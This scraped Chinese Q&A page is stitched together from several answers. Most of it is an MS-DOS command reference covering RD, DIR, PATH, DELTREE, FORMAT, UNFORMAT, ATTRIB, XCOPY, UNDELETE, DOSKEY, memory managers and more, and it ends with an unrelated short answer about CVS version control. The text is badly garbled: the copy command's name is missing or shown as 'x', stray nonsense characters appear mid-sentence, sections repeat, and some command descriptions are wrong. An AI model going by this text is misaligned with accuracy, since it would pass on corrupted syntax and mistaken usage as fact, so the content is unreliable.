(三)RD——刪除子目錄命令
1.功能:從指定的磁碟刪除了目錄。
2.類型:內部命令
3.格式:RD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)子目錄在刪除前必須是空的,也就是說需要先進入該子目錄,使用DEL(刪除文件的命令)將其子目錄下的文件刪空,然後再退回到上一級目錄,用RD命令刪除該了目錄本身;
(2)不能刪除根目錄和當前目錄。
例:要求把C盤FOX子目錄下的USER子目錄刪除,操作如下:
第一步:先將USER子目錄下的文件刪空;
C、>DEL C:、FOX、USER、*。*
第二步,刪除USER子目錄。
C、>RD C:、FOX、USER
(四)DIR——顯示磁碟目錄命令
1.功能:顯示磁碟目錄的內容。
2.類型:內部命令
3.格式:DIR [盤符][路徑][/P][/W]
4.
使用說明:/P的使用;當欲查看的目錄太多,無法在一屏顯示完屏幕會一直往上卷,不容易看清,加上/P參數後,屏幕上會分面一次顯示23行的文件信息,然後暫停,並提示;Press
any key to continue
/W的使用:加上/W只顯示文件名,至於文件大小及建立的日期和時間則都省略。加上參數後,每行可以顯示五個文件名。
PATH——路徑設置命令
1.功能:設備可執行文件的搜索路徑,只對文件有效。
2.類型:內部命令
3.格式:PATH[盤符1]目錄[路徑名1]{[;盤符2:],〈目錄路徑名2〉…}
4.使用說明:
(1)當運行一個可執行文件時,DOS會先在當前目錄中搜索該文件,若找到則運行之;若找不到該文件,則根據PATH命令所設置的路徑,順序逐條地到目錄中搜索該文件;
(2)PATH命令中的路徑,若有兩條以上,各路徑之間以一個分號「;」隔開;
(3)PATH命令有三種使用方法:
PATH[盤符1:][路徑1][盤符2:][路徑2]…(設定可執行文件的搜索路徑) PATH:(取消所有路徑)
PATH:(顯示目前所設的路徑)
(六)TREE——顯示磁碟目錄結構命令
1.功能:顯示指定驅動器上所有目錄路徑和這些目錄下的所有文件名。
2.類型:外部命令
3.格式:TREE[盤符:][/F][》PRN]
4.使用說明:
(1)使用/F參數時顯示所有目錄及目錄下的所有文件,省略時,只顯示目錄,不顯示目錄下的文件;
(2)選用>PRN參數時,則把所列目錄及目錄中的文件名列印輸出。
(七)DELTREE——刪除整個目錄命令
1.功能:將整個目錄及其下屬子目錄和文件刪除。
2.類型:外部命令
3.格式:DELTREE[盤符:]〈路徑名〉
4.使用說明:該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一並刪除,而且不管文件的屬性為隱藏、系統或只讀,只要該文件位於刪除的目錄之下,DELTREE都一視同仁,照刪不誤。使用時務必小心!!!
五、磁碟操作類命令
(一)formAT——磁碟格式化命令
1.功能:對磁碟進行格式化,劃分磁軌和扇區;同時檢查出整個磁碟上有無帶缺陷的磁軌,對壞道加註標記;建立目錄區和文件分配表,使磁碟作好接收DOS的准備。
2.類型:外部命令
3.格式:formAT〈盤符:〉[/S][/4][/Q]
4.使用說明:
(1)命令後的盤符不可預設,若對硬碟進行格式化,則會如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST !
Proceed with format (Y/N)?
(警告:所有數據在C盤上,將會丟失,確實要繼續格式化嗎?)
(2)若是對軟盤進行格式化,則會如下提示:Insert mew diskette for drive A;
and press ENTER when ready…
(在A驅中插入新盤,准備好後按回車鍵)。
(3)選用[/S]參數,將把DOS系統文件IO.SYS
、MSDOS.SYS及COMMAND.COM復制到磁碟上,使該磁碟可以做為DOS啟動盤。若不選用/S參數,則格式化後的磙盤只能讀寫信息,而不能做為啟動盤;
(4)選用[/4]參數,在1.2MB的高密度軟碟機中格式化360KB的低密度盤;
(5)選用[/Q]參數,快速格式化,這個參數並不會重新劃分磁碟的磁軌貌岸然和扇區,只能將磁碟根目錄、文件分配表以及引導扇區清成空白,因此,格式化的速度較快。
(6)選用[/U]參數,表示無條件格式化,即破壞原來磁碟上所有數據。不加/U,則為安全格式化,這時先建立一個鏡象文件保存原來的FAT表和根目錄,必要時可用UNFORRMAT恢復原來的數據。
(二)UNformAT恢復格式化命令
1.功能:對進行過格式化誤操作丟失數據的磁碟進行恢復。
2.類型:外部命令
3.格式:UNformAT〈盤符〉[/L][/U][/P][/TEST]
4.使用說明:用於將被「非破壞性」格式化的磁碟恢復。根目錄下被刪除的文件或子目錄及磁碟的系統扇區(包括FAT、根目錄、BOOT扇區及硬碟分區表)受損時,也可以用UNformAT來搶救。
(1)選用/L參數列出找到的子目錄名稱、文件名稱、大孝日期等信息,但不會真的做formAT工作。
(2)選用/P參數將顯示於屏幕的報告(包含/L參數所產生的信息)同時也送到列印機。運行時屏幕會顯示:「Print out will
be sent to LPT1」
(3)選用/TEST參數只做模擬試驗(TEST)不做真正的寫入動作。使用此參數屏幕會顯示:「Simulation only」
(4)選用/U參數不使用MIRROR映像文件的數據,直接根據磁碟現狀進行UNformAT。
(5)選用/PSRTN;修復硬碟分區表。
若在盤符之後加上/P、/L、/TEST之一,都相當於使用了/U參數,UNformAT會「假設」此時磁碟沒有MIRROR映像文件。
注意:UNformAT對於剛formAT的磁碟,可以完全恢復,但formAT後若做了其它數據的寫入,則UNformAT就不能完整的救回數據了。UNformAT並非是萬能的,由於使用UNformAT會重建FAT與根目錄,所以它也具有較高的危險性,操作不當可能會擴大損失,如果僅誤刪了幾個文件或子目錄,只需要利用UNDELETE就夠了。
三) CHKDSK——檢查磁碟當前狀態命令
1.功能:顯示磁碟狀態、內存狀態和指定路徑下指定文件的不連續數目。
2.類型:外部命令
3.格式:CHKDSK [盤符:][路徑][文件名][/F][/V]
4.使用說明:
(1)選用[文件名]參數,則顯示該文件佔用磁碟的情況;
(2)選[/F]參數,糾正在指定磁碟上發現的邏輯錯誤;
(3)選用[/V]參數,顯示盤上的所有文件和路徑。
(四)DISKCOPY——整盤復制命令
1.功能:復制格式和內容完全相同的軟盤。
2.類型:外部命令
3.格式:DISKCOPY[盤符1:][盤符2:]
4.使用說明:
(1)如果目標軟盤沒有格式化,則復制時
⑸ 懇求DOS命令
dos命令
dos下各種常見命令索引
▲ dir
▲ attrib
▲ cd
▲
▲ x
▲ del
▲ undelete
▲ deltree
▲ dos=high
▲ doskey
▲ emm386.exe
▲ fc
▲ format
▲ unformat
▲ interlnk
▲ intersvr
▲ memmaker
▲ memitem等
▲ mscdex
▲ msd
▲ prompt
▲ ramdrive
▲ subst
▲ mem
▲ "> < >> <<"工具
▲ move
▲ append
▲ call
▲ defrag
▲ device
一、DIR 命令的格式:
dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/b][/l][/c[h]
(1)dir /a:attrib 預設包含所有文件(系統文件.隱含文件)
attrib[:][h/-h]只顯示隱含文件或非隱含文件.
[r/-r]只顯示只讀文件或非只讀文件
[s/-s]只顯示系統文件或非系統文件
[a/-a]只顯示要歸檔文件或非歸檔文件
(2)/o[:]sorted:預設完全按字母順序,子目錄顯示在文件之前
/o[n/-n]:按字母順序或按文件名順序/反向顯示
[e/-e]:按擴展名字母順序/反向顯示
[d/-d]:按時間順序/反向顯示
[s/-s]:按大小從大到小或/反向顯示
[g/-g]:按子目錄先於文件或文件先於子目錄
(3)/s 參數:對當前目錄及其子目錄中所有文件進行列表
列名:dir /s/a/o:n c:\>PRN
將c盤上的所有子目錄和文件按隸屬關系並根據子目錄和文件字母順序列印輸出
(4)/B 參數:將只顯示文件名與擴展名
(5)/L 參數:將全部用小寫字母對文件或子目錄進行列表
訓練:
dir /a 列當前目錄所有文件(含隱含及系統文件)
dir /ah 列隱含文件(包含子目錄(隱含的) dir /a-h
dir /as 列系統文件 dir /a-s
dir /ad 列子目錄 dir /a-d
dir /o 按字母順序
dir /B 只顯示文件名與擴展名
二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]
預設 attrib name 顯示文件的(文件)屬性
attrib io.sys (或子目錄)
shr c:\ io.sys 指定為系統(s) 隱含(h) 只讀(r)文件
也可以attrib *.sys 顯示擴展名為sys的文件屬性
參數 [+r|-r] 將文件屬性設置或解除 只讀屬性
[+a|-a] 將文件屬性設置或解除 歸檔屬性
[+h|-h] 將文件屬性設置或解除 隱含屬性 (尤其對子目錄也起作用)
/s 參數 將當前及當前子目錄下的所有文件均起作用
可以用來查找文件
例子:
attrib news86 列news86的文檔屬性
attrib +r report.txt 設置為只讀 attrib -s -h record.txt
attrib +a a:*.*
attrib -a a:*.bak
x a: b: /a 將A盤上的所有標志為"歸檔"屬性的轎褲慧文件拷到B盤
x a: b: /m 將A盤上的所有文件拷到B盤後並移去歸檔屬性
三、cd 介紹: cd...返回上二級目錄 "."純啟代表當前目錄 "."代表父目錄
cd ..\..返回到上級目錄的父目錄(祖目錄)
cd A:\ 將A盤的當前目錄改為根目錄
cd A:\xx 將A盤的當前目錄改為子目錄xx下
cd ..\98 先返回父目錄,再進入父目錄下的98子目錄
cd ..返回到父目錄
cd\98 進入根目錄下的98子目錄
四、 [/y][/-y][/v][ /B]
/y 不加提示,對所有文件加以覆蓋
/-y 加以提示,對所有文件 (yes或no提問 )
/v 拷貝以後加以校驗
/B 按二進制進行顯示
w1.wps con/b 可以將wps文件在屏幕上顯示,而不必進入wps狀態
..\98 將父目錄下的98子目錄下的所有文件全拷閉答到當前子目錄
.\97 當當前目錄下的97子目錄下文件全部拷到當前目錄
. c:\ 將當前目錄下的所有文件拷到c盤根目錄
. 意味著 *.* 文件
nul a.abc 將a.abc 文件清空(文件長度改為0)
文件名+con 向文本文件中追加命令或內容
con 文件名 創建文本文件(F6存檔退出)
con prn 檢測列印機的開關
五、x命令
x [source] [d:date] [/p] [/s] [/e] [/v] [/y]
x [d:date] x a:b:\ /d:08/18/98/s/v 拷貝98.08.18年後的文件
x [/p] 提示創建子目錄
x [/s] 連帶子目錄一起拷貝. 注意:若目標盤上不存在此子目錄,而在目標
盤的結束符又不以"\"為結束,則將提示:
does destination specify a file name or directory name on the target
[f=file,d=directory]?
在目標盤上創建文件[按下]還是創建子目錄[按下d] ?應選擇d鍵
x[/v] 帶較驗
*:(1) x 不拷貝系統和隱含文件,應先予以修改屬性再拷貝
x [/y] 覆蓋時是否有提示, /y 不帶提示
若省略目標盤或子目錄名,則拷貝到當前目錄下
六、 del /p
加/p 可以在刪除前是否提示
如del後加子目錄名,則將子目錄下所有文件(隱含.系統.只讀文件除外)全刪除,
加/p則可以確認.
七、undelete [name] /au
不加提示地將所有滿足條件的文件恢復(能夠恢復的),並將首字母置成"#",若已
存在,則按"# % & 0 1 2-9 a-z"順序加上.
如:undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭,作為文件
名, /list 僅列出可恢復的文件,而不恢復
undelete /load 將undelete裝入內存
/unload 將undelete卸出內存
/s[drive]對指定驅動器進行監測管理
undelete/sc
將 undelete駐留內存,?並創建一個隱含的sentry 子目錄對c盤刪除的文件進行
管理 undelete/ds 恢復
相應恢復命令可以用undelete即可完整恢復出文件名(非常完整)
最常用undelete *.*
deltree /y [drive:path]
deltree 刪除子目錄及文件,盡管有些文件是系統文件或隱含文件
它可以帶有通配符,帶有通配符時,它將刪除符合條件的文件及子目錄
如:?undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭作為文件
名.
/list 僅列出可恢復的文件,而不作恢復操作.
undelete/load 將undelete 裝入內存.
/unload將undelete 卸出內存.
/s[drive] 對指定的驅動器進行監視管理.
undelete/sc 將undelete 駐留內存,並創建一個隱含的sentry子目錄對C盤刪除
的文件進行管理.相應恢復命令可以用undelete/ds 即可完整恢復出文件名(很完善).
最常用的是undelete *.*
八、deltree /y [drive:path]
deltree 刪除子目錄及文件,盡管有些文件是系統或隱含的.
它可以帶有通配符,這時它將刪除符合條件的文件或子目錄.
如:存在L1文件,L2子目錄,L3文件,L4子目錄
deltree L*.* 將刪除以上所有的文件和子目錄,但在刪除前加以確認,若不刪除,
可以輸入"N".
/y 參數是在刪除時不加以確認就進行操作的.
它刪除的文件可以用undelete恢復,?但不能恢復子目錄及其下的文件,可以用特
殊工具.如NORTON 8.0 等.
若提前使用了undelete/s,?則可以在sentry子目錄下找到完整的文件,但名已經
改變了.
九、dos=high[|low[umb|noumb]]
dos=high,umb 則dos將自身裝入高端內存(high)並能管理上位內存(umb).
noumb 則不管理上位內存.
在寫入dos=high及umb 前應裝入device=himem.sys
為了將程序或驅動程序裝入上位內存,必須使用dos=umb,可省出大部分常規內存.
可以在config.sys的任何位置寫上dos=high,umb
若顯示hma not avoiable 或 load down low 則表明不能使用高端內存.
十、doskey 記錄以前敲過的dos命令,可以用F7來顯示,用"↑↓"來選擇,用F9來輸入
選擇的命令號.
doskey/restall 重新裝入一次,以前的命令行撤消.
doskey/history 顯示內存中所有的命令,可以">"顯示到其它文件中,縮寫"/H".
doskey dir=cls 則擊入dir等同於cls一樣.
doskey/macros 可顯示所有的宏定義,可使用">"重定義到文件中,可縮寫"/M".
doskey dir= 可撤消對dir 的宏定義.
doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*
$t為命令的區分符,而$*為命令的結束符
doskey/insert(overstrike)?在重新輸入命令時,對舊命令的修改是插入還是覆
蓋狀態(默認).
十一、emm386.exe
提供對擴展內存的管理,使應用程序象使用常規內存一樣能夠使用它.
常見的用法是 在config.sys 中
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
d=64 將DMA 內存數量設置為64K
noems 提供對上位內存的訪問,但不提供對擴展內存的訪問.
應注意的是在windows中最好不要用它,因為windows本身有對擴展內存進行管理
的程序.應採用windows中的管理器.
十二、fc 命令 fc/b dt.dat dt2.dat>b (作二進制代碼比較)
比較兩個文件,一般用作存取進度,修改游戲存儲文件用.
實際代碼位置應加上0100 如:0000 05E4:00 67
實際用debug -e 修改時應加上0100 即 0000 06E4:00 67
後面加上重定向文件">P" 可以將比較結果輸出到p文件中.
十三、format /q /u /s /n:sectors /f:size /c
/q參數:快速格式化,僅掃描文件分配表和根目錄區,僅對格式化過的磁碟有效.
使用時應確保格式化過後沒有增加新的壞道.
/u參數:無條件格式化,並且不保存原來盤上的信息,可以防止"unformat".
/s參數:格式化為系統盤,也可以使用"sys"命令.
/f:size size 可以為160 180 320 360 720 1200 1440 2800
/n:sector n可以為1 格式為單面盤,容量為160k 180k
可以為4 可以在5寸高密驅動器上格式化360k磁碟
可以為8 可以在5寸高密驅動器上進行8個扇區的格式化.
/c 重新測試壞扇區,預設時如果一個扇區標記為"壞",以後格式時就不在從新測
試,僅作標記,使用"/C"時可以從新測試.
十四、unformat 命令
對用format 格式過,且未用"/u"參數的命令起作用,用它可以來重新修復已經損
壞的硬碟分區表,但對網路盤不起作用.
unformat drive:[/l][/test][/p]
/l 顯示每一個被unformat發現的文件和子目錄,如果沒有這個開關,只顯示那些
破碎的文件和子目錄,可以用ctrl+s 暫停,按任意鍵繼續.
/test 僅作一個測試,不作實際的修復工作,作模擬過程.
/p 一邊測試一邊列印.
注:這種方法不能保證修復所有的文件,尤其是格式化後又添加過數據的磁碟.
恢復後的文件依次存放在subdir1....2....3等子目錄中.
十五、interlnk 語法 interlnk g=e ,它可以通過串口或並口在兩機間進行通訊.
將伺服器端上的e驅動器映射為客戶端的g驅動器,以後對客戶端而言,所有對g的
操作都意味著對伺服器的訪問,取消映射的辦法為interlnk g=
單獨輸入interlnk 則顯示所有的映射情況.
注意:interlnk 必須在裝入interlnk.exe 設備驅動程序才可以使用.
所用的驅動器符號與config.?sys中lastdrv.exe設置的數目有關.可以作一個一
端為25針,另一端為9針的串列線實現,具體接線方式如下:
5 - 7 2 - 15
3 - 2 3 - 13
7 - 4 4 - 12
6 - 6 5 - 10
3 - 3 6 - 11
8 - 5 15 - 2
4 - 20 13 - 3
9針 25針 12 - 4
10 - 5
11 - 6
25 - 25
25針 25針
十六、interlnk.exe 與intersvr.exe
interlnk.exe 重新定向對於客戶驅動器或列印介面的請求到另外的伺服器驅動
器或列印機.
語法:config.sys 中加入:
device=c:\dos\interlnk.exe [drive:n][/noprinter][com][lpt]
十七、memmaker[/b][/batch][session][/swap:drive]
使用memmaker能夠優化內存配置,?並將配置寫入autoexec.bat和config.sys中.
在這一過程中,需要重新啟動幾次機器.
十八、memitem memcolor memdefault submenu 菜單選項include
autoexec.bat 中如下: config.sys中如下:
path c:\dos;c:\ucdos [menu]
doskey menucolor=15,1(前景色15,背景色1)
\mouse\mouse menuitem=base_config,this is a base
goto %config% ->選擇項 menuitem=cced_config,this is a cced
選項 提示
:base_config menudefault=base_config,5
goto exit ->跳出 預設為base_config,延遲時間5秒
:cced_config [common]
c:\dos\smartdrv.exe /l device=c:\dos\himem.sys
goto exit 各項都包含的共同部分
:exit ->結束 [base_config]
device=c:\dos\emm386.exe ram
dos=high,umb
[cced_config]
device=c:\dos\smartdrv.exe/double_buffer
include=base_config 包含base_config設置
可以根據計算機的在不同情況下的配置要求來選擇.
十九、mscdex.exe 提供對光碟機進行讀寫的程序
mscdex/d:drive [/D:drive][/e][/k][/s][/l:letter]
典型:config.sys 中device=c:\cdrom\cdrom.sys /d:mscd000
autoexec.bat中 c:\dos\mscdex /d:mscd000 /l:g
配置了一個光碟機,符號為g
參數/d:drive1為光碟機身份號,須與config.sys中的符號一致,可有多個
/d:mscd000 /d:mscd001
/e:使用擴展內存裝入光碟機驅動程序.
/s:使光碟機在ms_net或windows是否設置為共享光碟機
/V是否在載入時顯示內存.
/L:letter 分配給光碟機的盤符
/m:number 指定緩沖器的數目
應該注意的是:?如果用smartdrv.exe 加速對光碟機的讀寫能力,應該在autoexec.
bat中將mscdex.?exe 寫在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高
對驅動器的讀寫能力.
二十、msd的使用
使用msd 可以整體檢查計算機配置及系統信息
包括:?驅動器參數,計算機cpu參數,內存大小參數,顯示器類型,串.並口情況,以
及各個IRQ佔用情況,據此可以分析新增設備是否與原來設備有沖突.
同時也可以通過分析內存駐留程序,判斷內存中是否有病毒,有則標為"???".
二十一、prompt dos提示符
$q 等於號 $t 當前時間 $d 當前日期 $p 當前驅動器符號
$$ $號提示 $n當前驅動器 $g 大於號 $l小於號 $b 顯示"|"管道號
$h 隱去提示符 $E顯示"<-"號
對於其它文字,則直接顯示文本本身prompt ljw,則顯示為ljw提示符
prompt 則僅顯示當前驅動器號及大於號.
二十二、ramdrive.sys 使用內存當做虛擬盤來使用
應注意,所有數據都存在於內存中,應及時將其存到硬碟中,否則掉電後或者死機
後將丟失全部數據,優點是運行速度快,但不能在windows中使用.
示例:config.sys: device=c:\dos\ramdrive.sys /size[/e|a]
size為以k為單位的位元組數,即建立的虛擬盤的大小.
/e或/a 都是使用擴展內存來建立虛擬盤,?加參數的前提是必須先載入內存管理
器himem.sys及emm386.exe.
二十三、subst 將一個驅動器與一個子目錄聯接
如:將對A:\l1\l2 子目錄的請求映射為S盤,則輸入
subst s: a:\l1\l2 即可
這樣使用dir s:?等命令則顯示的是a:\l1\l2子目錄下的內容,其它 del 一樣
可以用subst s: d 來取消這種映射.
可以用subst 來顯示各種聯接情況
注意:?可以採用subst a: c:a 來建立一個對於A的讀寫盤.對於某些安裝軟體
來說,?必須使用A盤來安裝,就可以使用先將所要安裝的軟體全部拷貝到C:a子
目錄中,然後輸入subst a: c:a,再轉到A:,就可以進行軟體的安裝了.
二十四、mem /c /m /p /d 常規內存顯示程序
/c顯示所有內存駐留程序的佔用情況,分為conventional常規內存和uppermemory
高端內存佔用,並顯示總的佔用情況(常規 高端 保留 擴展內存)
/p分頁顯示,頁間暫停
/m後加模塊名 如:/m msdos 顯示dos系統內存的佔用.
/d對常規 高端 保留 擴展內存加以詳細例表說明
通過分析,可以看出內存佔用是否合理,以及各種程序是否正常載入,從而在此基
礎上使用內存優化工具memmaker進行各種管理,同時又可以分析出一些程序死機
的原因,若有的地方顯示"???",則可以斷定內存中有病毒的存在,有利於發現及消滅.
二十五、各種管道工具的使用"> < >> <<"
將各種命令造成的輸出或所需要的輸入重新定向
如:dir *.bat /b>p 可以將dir *.bat 例出的文件名輸出到p文件中.
time<p>>p.bat
p文件中僅存在一個回車符,則可以將時間追加進p.bat文件中
"> >>" 是將命令產生的輸出重新定向,比如到文件或列印機中.
>>產生的內容將追加進文件中,>則將原文件內容覆蓋.
"< <<" 是將命令所需要輸入的內容重新定向.
如:time<p 在批中可以是時間代碼或回車符,可以以此改變時間.
需要說明的是 "prn "為列印機, "null"為空設備
con 為顯示器
type p.bat>prn 可將p.bat列印出來.
null p 可將p文件刪除掉
con p 可以在屏幕上編輯p文件,F6可以存檔退出
type p>pp 完成p文件到pp 的復制
type p|more 可在屏滿時暫停顯示
二十六、move 命令
move [y/-y] filename1 filename2
將文件1移動到文件2處
如:move c:\dos\*.* c:\cced
將dos子目錄下的所有文件全部移動到cced 子目錄下
/y|-y參數在目標目錄不存在需要創建時,是否出現提示
可以使用該命令修改子目錄名稱,如 move dos cced
將dos目錄名改為cced
二十七、append 指定一些特殊數據文件的存放位置,如user.dat pe2.pro等一些非*.
exe *.com *.bat 文件
格式:append [:]終止以前存在的指定目錄 append 顯示指定情況
append [path] append c:\user 等
二十八、
call 在一個批處理命令中調用另外一個批處理文件
(1)不終止現有文件的運行,執行完掉用程序後立即返回.
(2)被調用批處理命令必須以bat 為擴展名
(3)調用批處理文件時,可以加上參數(%1-%9)以及環境變數如%baud%
(4)不能使用管道工具及重定向工具
二十九、device devicehigh loadhigh
device 將指定的設備驅動程序裝入內存中
devicehigh將指定的設備驅動程序裝入高端內存中
loadhigh 將指定的設備驅動程序裝入高端內存中
三十、defrag 優化磁碟
legend(傳奇) optimize(優化) elapse(逝去) fragment(碎片)
該命令執行對指定的盤進行優化處理(包括檢查文件分配表,各文件狀態,糾正錯
誤),在執行時,可按照文件名大小,時間,擴展名對文件進行排序.
⑹ 請問CVS是什麼啊
CVS是「Concurrent Version System」的簡稱,即是是一個C/S系統,常用的代碼版本控制軟體。
CVS是開發源代碼的配置管理工具,其源代碼和安裝文件都可以免費下載。CVS是源於unix的版本控制工具,對於CVS的安裝和使用最好對unix的系統有所了解能更容易學習。
CVS的伺服器管理需要進行各種命令行操作。目前,CVS的客戶端有winCVS的圖形化界面,伺服器端也有CVSNT的版本,易用性正在提高。但因為CVS是開發源碼軟體,沒有生產廠家為其提供技術的支持。如發現問題,通常只能靠自己查找網上的資料進行解決。
(6)s開頭的代碼編譯器擴展閱讀:
cvs替代管理
cvs 不能代替開發者之間的交流。在單個文件內遇到沖突時,大多數開發者不費多大力氣就能解決它們。但更常見的"沖突(conflict)",是那些難度較大、不在開發者之間進行交流就沒法解決的問題。
當在一個文件內或多個文件中同時發生變化時,cvs 並不知道何時它們會在邏輯上發生沖突。它的沖突(conflict)概念是純粹文本意義上的,這種沖突會在同一個文件的兩種變化十分接近以致於會破壞合並命令(如diff3)。
cvs 決不會指出程序邏輯上非文本或分布式的沖突。例如:假如你改變了在文件A 中定義的函數X 的參數。同時,別人在編輯文件B,仍用舊參數調用 X 這個函數。此時產生的沖突 cvs 可就無能為力了。